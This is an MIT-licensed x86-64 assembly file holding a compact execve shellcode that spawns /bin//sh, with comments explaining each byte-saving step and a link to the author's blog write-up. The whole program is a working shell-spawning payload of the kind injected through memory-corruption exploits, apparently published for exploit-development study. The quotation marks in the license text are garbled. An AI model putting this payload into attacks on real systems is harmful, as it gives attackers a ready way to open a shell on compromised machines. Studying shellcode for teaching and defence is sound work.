;The MIT License (MIT)
 
;Copyright (c) 2017 Robert L. Taylor
 
;Permission is hereby granted, free of charge, to any person obtaining a 
;copy of this software and associated documentation files (the aSoftwarea), 
;to deal in the Software without restriction, including without limitation 
;the rights to use, copy, modify, merge, publish, distribute, sublicense, 
;and/or sell copies of the Software, and to permit persons to whom the 
;Software is furnished to do so, subject to the following conditions:
 
;The above copyright notice and this permission notice shall be included 
;in all copies or substantial portions of the Software.
 
;The Software is provided aas isa, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability, 
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other 
;liability, whether in an action of contract, tort or otherwise, arising 
;from, out of or in connection with the software or the use or other 
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/01/execvestack1434.html
global _start 
 
section .text
 
_start:
    ; zeros RAX, RDX and RSI with only 4 bytes of machine code
    xor esi,esi
    mul esi
     
    ; null terminator for the following string
    push rax
 
    ; push /bin//sh in reverse 
    mov rbx,'/bin//sh'
    push rbx
 
    ; store /bin//sh address in RDI, points at string
    push rsp
    pop rdi
 
    ; Call the Execve syscall 
    mov al, 59
    syscall